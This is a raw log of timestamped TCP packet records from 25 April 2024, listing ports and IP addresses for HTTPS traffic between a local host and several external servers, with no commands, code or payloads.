Apr 25, 2024 15:31:10.053061962 CEST	49782	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:31:10.053853989 CEST	49782	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:31:10.053877115 CEST	443	49782	104.17.2.184	192.168.2.16
Apr 25, 2024 15:31:10.057084084 CEST	49783	443	192.168.2.16	104.17.3.184
Apr 25, 2024 15:31:10.057117939 CEST	443	49783	104.17.3.184	192.168.2.16
Apr 25, 2024 15:31:10.057209969 CEST	49783	443	192.168.2.16	104.17.3.184
Apr 25, 2024 15:31:10.057528973 CEST	49783	443	192.168.2.16	104.17.3.184
Apr 25, 2024 15:31:10.057549000 CEST	443	49783	104.17.3.184	192.168.2.16
Apr 25, 2024 15:31:10.059900999 CEST	49784	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:10.059910059 CEST	443	49784	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:10.059973955 CEST	49784	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:10.060209036 CEST	49784	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:10.060224056 CEST	443	49784	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:10.280191898 CEST	443	49783	104.17.3.184	192.168.2.16
Apr 25, 2024 15:31:10.280546904 CEST	49783	443	192.168.2.16	104.17.3.184
Apr 25, 2024 15:31:10.280565977 CEST	443	49783	104.17.3.184	192.168.2.16
Apr 25, 2024 15:31:10.280848980 CEST	443	49783	104.17.3.184	192.168.2.16
Apr 25, 2024 15:31:10.281184912 CEST	49783	443	192.168.2.16	104.17.3.184
Apr 25, 2024 15:31:10.281243086 CEST	443	49783	104.17.3.184	192.168.2.16
Apr 25, 2024 15:31:10.281339884 CEST	49783	443	192.168.2.16	104.17.3.184
Apr 25, 2024 15:31:10.295968056 CEST	443	49784	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:10.296197891 CEST	49784	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:10.296209097 CEST	443	49784	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:10.297307014 CEST	443	49784	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:10.297616005 CEST	49784	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:10.297746897 CEST	49784	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:10.297751904 CEST	443	49784	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:10.297781944 CEST	443	49784	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:10.324162006 CEST	443	49783	104.17.3.184	192.168.2.16
Apr 25, 2024 15:31:10.350393057 CEST	49784	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:10.550518990 CEST	443	49784	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:10.550728083 CEST	443	49784	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:10.550813913 CEST	49784	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:10.551079988 CEST	443	49783	104.17.3.184	192.168.2.16
Apr 25, 2024 15:31:10.551137924 CEST	443	49783	104.17.3.184	192.168.2.16
Apr 25, 2024 15:31:10.551182985 CEST	49783	443	192.168.2.16	104.17.3.184
Apr 25, 2024 15:31:10.551757097 CEST	49784	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:10.551779032 CEST	443	49784	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:10.552181005 CEST	49783	443	192.168.2.16	104.17.3.184
Apr 25, 2024 15:31:10.552186966 CEST	443	49783	104.17.3.184	192.168.2.16
Apr 25, 2024 15:31:10.554879904 CEST	49785	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:10.554918051 CEST	443	49785	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:10.555011034 CEST	49785	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:10.555320978 CEST	49785	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:10.555339098 CEST	443	49785	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:10.555636883 CEST	49786	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:10.555677891 CEST	443	49786	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:10.555761099 CEST	49786	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:10.556061029 CEST	49786	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:10.556078911 CEST	443	49786	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:10.781891108 CEST	443	49785	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:10.782275915 CEST	49785	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:10.782294989 CEST	443	49785	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:10.782587051 CEST	443	49785	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:10.783085108 CEST	49785	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:10.783143997 CEST	443	49785	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:10.783409119 CEST	49785	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:10.783448935 CEST	49785	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:10.783453941 CEST	443	49785	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:10.791449070 CEST	443	49786	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:10.792026043 CEST	49786	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:10.792063951 CEST	443	49786	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:10.793241978 CEST	443	49786	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:10.793559074 CEST	49786	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:10.793689966 CEST	49786	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:10.793700933 CEST	443	49786	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:10.793720961 CEST	443	49786	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:10.845374107 CEST	49786	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:11.058875084 CEST	443	49786	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:11.059043884 CEST	443	49786	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:11.059165955 CEST	49786	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:11.060812950 CEST	49786	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:11.060827971 CEST	443	49786	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:11.118036985 CEST	49787	443	192.168.2.16	172.253.124.99
Apr 25, 2024 15:31:11.118077040 CEST	443	49787	172.253.124.99	192.168.2.16
Apr 25, 2024 15:31:11.118213892 CEST	49787	443	192.168.2.16	172.253.124.99
Apr 25, 2024 15:31:11.118514061 CEST	49787	443	192.168.2.16	172.253.124.99
Apr 25, 2024 15:31:11.118530035 CEST	443	49787	172.253.124.99	192.168.2.16
Apr 25, 2024 15:31:11.172127008 CEST	49788	443	192.168.2.16	35.190.80.1
Apr 25, 2024 15:31:11.172148943 CEST	443	49788	35.190.80.1	192.168.2.16
Apr 25, 2024 15:31:11.172260046 CEST	49788	443	192.168.2.16	35.190.80.1
Apr 25, 2024 15:31:11.172497034 CEST	49788	443	192.168.2.16	35.190.80.1
Apr 25, 2024 15:31:11.172511101 CEST	443	49788	35.190.80.1	192.168.2.16
Apr 25, 2024 15:31:11.350325108 CEST	443	49787	172.253.124.99	192.168.2.16
Apr 25, 2024 15:31:11.350667000 CEST	49787	443	192.168.2.16	172.253.124.99
Apr 25, 2024 15:31:11.350689888 CEST	443	49787	172.253.124.99	192.168.2.16
Apr 25, 2024 15:31:11.351759911 CEST	443	49787	172.253.124.99	192.168.2.16
Apr 25, 2024 15:31:11.352094889 CEST	49787	443	192.168.2.16	172.253.124.99
Apr 25, 2024 15:31:11.352288961 CEST	443	49787	172.253.124.99	192.168.2.16
Apr 25, 2024 15:31:11.404406071 CEST	49787	443	192.168.2.16	172.253.124.99
Apr 25, 2024 15:31:11.411441088 CEST	443	49788	35.190.80.1	192.168.2.16
Apr 25, 2024 15:31:11.411750078 CEST	49788	443	192.168.2.16	35.190.80.1
Apr 25, 2024 15:31:11.411778927 CEST	443	49788	35.190.80.1	192.168.2.16
Apr 25, 2024 15:31:11.413507938 CEST	443	49788	35.190.80.1	192.168.2.16
Apr 25, 2024 15:31:11.413600922 CEST	49788	443	192.168.2.16	35.190.80.1
Apr 25, 2024 15:31:11.414644003 CEST	49788	443	192.168.2.16	35.190.80.1
Apr 25, 2024 15:31:11.414740086 CEST	443	49788	35.190.80.1	192.168.2.16
Apr 25, 2024 15:31:11.414839029 CEST	49788	443	192.168.2.16	35.190.80.1
Apr 25, 2024 15:31:11.414855003 CEST	443	49788	35.190.80.1	192.168.2.16
Apr 25, 2024 15:31:11.468384981 CEST	49788	443	192.168.2.16	35.190.80.1
Apr 25, 2024 15:31:11.623338938 CEST	443	49785	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:11.623464108 CEST	443	49785	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:11.623544931 CEST	49785	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:11.624092102 CEST	49785	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:11.624111891 CEST	443	49785	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:11.636595011 CEST	49789	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:11.636634111 CEST	443	49789	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:11.636742115 CEST	49789	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:11.637008905 CEST	49789	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:11.637026072 CEST	443	49789	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:11.638596058 CEST	49790	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:11.638676882 CEST	443	49790	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:11.638775110 CEST	49790	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:11.639014959 CEST	49791	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:11.639085054 CEST	443	49791	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:11.639163017 CEST	49791	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:11.639281988 CEST	49790	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:11.639317036 CEST	443	49790	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:11.639553070 CEST	49791	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:11.639588118 CEST	443	49791	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:11.639882088 CEST	49792	443	192.168.2.16	151.101.66.137
Apr 25, 2024 15:31:11.639894962 CEST	443	49792	151.101.66.137	192.168.2.16
Apr 25, 2024 15:31:11.639960051 CEST	49792	443	192.168.2.16	151.101.66.137
Apr 25, 2024 15:31:11.640302896 CEST	49793	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:31:11.640324116 CEST	443	49793	104.17.2.184	192.168.2.16
Apr 25, 2024 15:31:11.640399933 CEST	49793	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:31:11.640558004 CEST	49792	443	192.168.2.16	151.101.66.137
Apr 25, 2024 15:31:11.640569925 CEST	443	49792	151.101.66.137	192.168.2.16
Apr 25, 2024 15:31:11.640779018 CEST	49793	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:31:11.640799046 CEST	443	49793	104.17.2.184	192.168.2.16
Apr 25, 2024 15:31:11.649585009 CEST	443	49788	35.190.80.1	192.168.2.16
Apr 25, 2024 15:31:11.649765968 CEST	443	49788	35.190.80.1	192.168.2.16
Apr 25, 2024 15:31:11.649841070 CEST	49788	443	192.168.2.16	35.190.80.1
Apr 25, 2024 15:31:11.649878025 CEST	49788	443	192.168.2.16	35.190.80.1
Apr 25, 2024 15:31:11.649898052 CEST	443	49788	35.190.80.1	192.168.2.16
Apr 25, 2024 15:31:11.649921894 CEST	49788	443	192.168.2.16	35.190.80.1
Apr 25, 2024 15:31:11.649957895 CEST	49788	443	192.168.2.16	35.190.80.1
Apr 25, 2024 15:31:11.650279999 CEST	49794	443	192.168.2.16	35.190.80.1
Apr 25, 2024 15:31:11.650324106 CEST	443	49794	35.190.80.1	192.168.2.16
Apr 25, 2024 15:31:11.650408983 CEST	49794	443	192.168.2.16	35.190.80.1
Apr 25, 2024 15:31:11.650615931 CEST	49794	443	192.168.2.16	35.190.80.1
Apr 25, 2024 15:31:11.650635004 CEST	443	49794	35.190.80.1	192.168.2.16
Apr 25, 2024 15:31:11.865895033 CEST	443	49789	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:11.866230011 CEST	49789	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:11.866250992 CEST	443	49789	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:11.866682053 CEST	443	49789	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:11.866983891 CEST	49789	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:11.867077112 CEST	443	49789	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:11.867125034 CEST	49789	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:11.867480993 CEST	443	49793	104.17.2.184	192.168.2.16
Apr 25, 2024 15:31:11.867588997 CEST	443	49792	151.101.66.137	192.168.2.16
Apr 25, 2024 15:31:11.867763042 CEST	49793	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:31:11.867785931 CEST	443	49793	104.17.2.184	192.168.2.16
Apr 25, 2024 15:31:11.868027925 CEST	443	49791	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:11.868123055 CEST	443	49793	104.17.2.184	192.168.2.16
Apr 25, 2024 15:31:11.868397951 CEST	49792	443	192.168.2.16	151.101.66.137
Apr 25, 2024 15:31:11.868408918 CEST	443	49792	151.101.66.137	192.168.2.16
Apr 25, 2024 15:31:11.868633986 CEST	49793	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:31:11.868706942 CEST	443	49793	104.17.2.184	192.168.2.16
Apr 25, 2024 15:31:11.868801117 CEST	49791	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:11.868822098 CEST	443	49791	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:11.868906975 CEST	443	49792	151.101.66.137	192.168.2.16
Apr 25, 2024 15:31:11.869167089 CEST	49792	443	192.168.2.16	151.101.66.137
Apr 25, 2024 15:31:11.869188070 CEST	443	49791	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:11.869261026 CEST	443	49792	151.101.66.137	192.168.2.16
Apr 25, 2024 15:31:11.869456053 CEST	49791	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:11.869540930 CEST	443	49791	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:11.869604111 CEST	49791	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:11.871551991 CEST	443	49790	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:11.871777058 CEST	49790	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:11.871784925 CEST	443	49790	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:11.872267008 CEST	443	49790	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:11.872555017 CEST	49790	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:11.872649908 CEST	443	49790	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:11.878046989 CEST	443	49794	35.190.80.1	192.168.2.16
Apr 25, 2024 15:31:11.878221035 CEST	49794	443	192.168.2.16	35.190.80.1
Apr 25, 2024 15:31:11.878238916 CEST	443	49794	35.190.80.1	192.168.2.16
Apr 25, 2024 15:31:11.878755093 CEST	443	49794	35.190.80.1	192.168.2.16
Apr 25, 2024 15:31:11.879105091 CEST	49794	443	192.168.2.16	35.190.80.1
Apr 25, 2024 15:31:11.879182100 CEST	443	49794	35.190.80.1	192.168.2.16
Apr 25, 2024 15:31:11.879199028 CEST	49794	443	192.168.2.16	35.190.80.1
Apr 25, 2024 15:31:11.908122063 CEST	443	49789	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:11.912158966 CEST	443	49791	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:11.915363073 CEST	49792	443	192.168.2.16	151.101.66.137
Apr 25, 2024 15:31:11.915412903 CEST	49793	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:31:11.915412903 CEST	49790	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:11.920154095 CEST	443	49794	35.190.80.1	192.168.2.16
Apr 25, 2024 15:31:11.931360960 CEST	49794	443	192.168.2.16	35.190.80.1
Apr 25, 2024 15:31:12.125583887 CEST	443	49794	35.190.80.1	192.168.2.16
Apr 25, 2024 15:31:12.125765085 CEST	443	49794	35.190.80.1	192.168.2.16
Apr 25, 2024 15:31:12.125829935 CEST	49794	443	192.168.2.16	35.190.80.1
Apr 25, 2024 15:31:12.125982046 CEST	49794	443	192.168.2.16	35.190.80.1
Apr 25, 2024 15:31:12.125999928 CEST	443	49794	35.190.80.1	192.168.2.16
Apr 25, 2024 15:31:12.126008987 CEST	49794	443	192.168.2.16	35.190.80.1
Apr 25, 2024 15:31:12.126048088 CEST	49794	443	192.168.2.16	35.190.80.1
Apr 25, 2024 15:31:12.344615936 CEST	443	49789	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:12.344680071 CEST	443	49789	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:12.344736099 CEST	49789	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:12.345437050 CEST	49789	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:12.345455885 CEST	443	49789	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:12.574043989 CEST	443	49791	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:12.574143887 CEST	443	49791	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:12.574335098 CEST	49791	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:12.576730967 CEST	49791	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:12.576761007 CEST	443	49791	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:12.577466011 CEST	49790	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:12.624109030 CEST	443	49790	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:12.920975924 CEST	443	49790	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:12.921108007 CEST	443	49790	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:12.921191931 CEST	49790	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:12.921226025 CEST	443	49790	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:12.921253920 CEST	443	49790	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:12.921300888 CEST	49790	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:12.921367884 CEST	443	49790	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:12.921593904 CEST	443	49790	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:12.921641111 CEST	49790	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:12.922281027 CEST	49790	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:12.922302961 CEST	443	49790	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:12.933442116 CEST	49795	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:12.933470011 CEST	443	49795	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:12.933545113 CEST	49795	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:12.933751106 CEST	49795	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:12.933764935 CEST	443	49795	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:12.935309887 CEST	49796	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:12.935405970 CEST	443	49796	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:12.935488939 CEST	49796	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:12.935600996 CEST	49797	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:12.935681105 CEST	443	49797	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:12.935769081 CEST	49797	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:12.935801029 CEST	49796	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:12.935831070 CEST	443	49796	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:12.935980082 CEST	49797	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:12.936014891 CEST	443	49797	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.160837889 CEST	443	49795	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.161226034 CEST	49795	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.161246061 CEST	443	49795	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.161555052 CEST	443	49795	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.161873102 CEST	49795	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.161931992 CEST	443	49795	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.162024021 CEST	49795	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.173227072 CEST	443	49796	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.173338890 CEST	443	49797	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.173476934 CEST	49796	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.173491001 CEST	443	49796	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.173578024 CEST	49797	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.173639059 CEST	443	49797	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.173837900 CEST	443	49796	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.174199104 CEST	49796	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.174264908 CEST	443	49796	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.175101995 CEST	443	49797	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.175127029 CEST	49796	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.175204992 CEST	49797	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.175661087 CEST	49797	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.175745964 CEST	443	49797	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.175813913 CEST	49797	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.175829887 CEST	443	49797	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.204124928 CEST	443	49795	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.216139078 CEST	443	49796	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.221379042 CEST	49797	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.641899109 CEST	443	49795	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.641936064 CEST	443	49795	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.641961098 CEST	443	49795	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.641979933 CEST	443	49795	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.641999960 CEST	49795	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.642015934 CEST	443	49795	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.642079115 CEST	49795	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.642138958 CEST	443	49795	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.642182112 CEST	49795	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.642189026 CEST	443	49795	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.642221928 CEST	443	49795	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.642267942 CEST	49795	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.642277002 CEST	443	49795	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.642827988 CEST	443	49795	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.642874002 CEST	49795	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.642880917 CEST	443	49795	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.642971992 CEST	443	49795	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.642993927 CEST	443	49795	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.643019915 CEST	49795	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.643029928 CEST	443	49795	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.643080950 CEST	49795	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.643659115 CEST	443	49795	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.643721104 CEST	443	49795	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.643743038 CEST	443	49795	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.643763065 CEST	443	49795	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.643764019 CEST	49795	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.643778086 CEST	443	49795	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.643810034 CEST	49795	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.644607067 CEST	443	49795	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.644640923 CEST	443	49795	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.644670963 CEST	443	49795	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.644685030 CEST	49795	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.644697905 CEST	443	49795	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.644709110 CEST	443	49795	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.644717932 CEST	49795	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.644757986 CEST	49795	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.644778013 CEST	443	49795	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.645494938 CEST	443	49795	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.645519972 CEST	443	49795	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.645549059 CEST	49795	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.645575047 CEST	443	49795	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.645618916 CEST	49795	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.650787115 CEST	443	49796	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.650955915 CEST	443	49796	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.651026011 CEST	49796	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.651046038 CEST	443	49796	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.651076078 CEST	443	49796	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.651122093 CEST	49796	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.651166916 CEST	443	49796	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.651339054 CEST	443	49796	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.651400089 CEST	49796	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.651422024 CEST	443	49796	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.651516914 CEST	443	49796	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.651566982 CEST	49796	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.651580095 CEST	443	49796	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.651669979 CEST	443	49796	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.651719093 CEST	49796	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.651731014 CEST	443	49796	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.651837111 CEST	443	49796	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.651884079 CEST	49796	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.651904106 CEST	443	49796	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.652328014 CEST	443	49796	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.652401924 CEST	49796	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.652415037 CEST	443	49796	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.652504921 CEST	443	49796	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.652568102 CEST	49796	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.652580023 CEST	443	49796	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.652666092 CEST	443	49796	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.652725935 CEST	49796	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.652738094 CEST	443	49796	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.653218985 CEST	443	49796	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.653274059 CEST	49796	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:13.653285980 CEST	443	49796	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:13.653393984 CEST	443	49796	172.67.159.67	192.168.2.16
